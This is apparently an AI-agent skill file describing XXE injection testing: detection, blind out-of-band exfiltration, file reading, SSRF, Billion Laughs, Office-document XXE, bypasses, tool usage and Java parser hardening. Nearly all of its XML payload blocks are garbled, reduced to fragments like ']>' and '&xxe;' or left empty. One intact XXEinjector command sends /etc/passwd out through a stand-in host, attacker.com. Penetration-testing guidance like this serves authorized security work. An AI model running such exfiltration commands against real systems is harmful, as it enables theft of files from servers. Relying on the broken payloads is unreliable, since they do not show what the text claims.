---
name: xxe-testing
description: Professional skills and methodology for XXE XML External Entity injection testing
version: 1.0.0
---
# XXE XML External Entity Injection Testing
## Overview
XXE (XML External Entity) injection is a vulnerability that exploits XML parsers processing external entities. This skill provides methods for detecting, exploiting, and protecting against XXE vulnerabilities.
## Vulnerability Principle
XML parsers, when processing external entities, may read local files, perform SSRF attacks, or cause denial of service. Commonly found in:
- XML document parsing
- SOAP services
- Office documents (.docx, .xlsx, etc.)
- SVG images
- PDF files
## Testing Methods
### 1. Identify XML Input Points
- File upload functionality
- API interfaces that accept XML data
- SOAP requests
- Office document processing
- Data import functionality
### 2. Basic XXE Detection
**Test external entities:**
```xml
]>
&xxe;
```
**Test network requests (SSRF):**
```xml
]>
&xxe;
```
### 3. Blind XXE Detection
**When response does not directly display content:**
```xml
]>
&xxe;
```
**Using parameter entities:**
```xml
%xxe;
]>
test
```
**evil.dtd content:**
```xml
">
%eval;
%exfil;
```
## Exploitation Techniques
### File Reading
**Read local files:**
```xml
]>
&xxe;
```
**Windows paths:**
```xml
```
### SSRF Attack
**Internal network probing:**
```xml
]>
&xxe;
```
**Port scanning:**
```xml
```
### Denial of Service
**Billion Laughs attack:**
```xml
]>
&lol9;
```
### Office Document XXE
**docx file structure:**
```
word/document.xml - Contains document content
word/_rels/document.xml.rels - Contains external references
```
**Modify document.xml.rels:**
```xml
```
## Bypass Techniques
### Different Protocols
**PHP:**
```xml
```
**Java:**
```xml
```
**Encoding bypass:**
```xml
```
### Parameter Entities
**Use parameter entities to bypass certain restrictions:**
```xml
]>
test
```
## Tool Usage
### XXEinjector
```bash
# Basic usage
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml
# File reading
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd
```
### Burp Suite
1. Intercept requests containing XML
2. Send to Repeater
3. Modify XML content, add external entities
4. Observe response or out-of-band data
## Validation and Reporting
### Validation Steps
1. Confirm the XML parser processes external entities
2. Verify file reading or SSRF success
3. Assess impact scope (sensitive files, internal network access, etc.)
4. Document complete POC
### Reporting Key Points
- Vulnerability location and XML input point
- Files that can be read or internal network resources accessible
- Complete exploitation steps and PoC
- Remediation recommendations (disable external entities, use whitelist, etc.)
## Protective Measures
### Recommended Solutions
1. **Disable External Entities**
```java
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```
2. **Use Whitelist Validation**
- Validate XML structure
- Restrict allowed entities
3. **Use Secure Parsers**
- Use parsers that do not process DTD
- Use JSON instead of XML
## Notes
- Only perform testing in authorized test environments
- Avoid reading sensitive files causing data leakage
- Be aware of XXE handling differences across languages and libraries
- Be mindful of file format when testing Office documents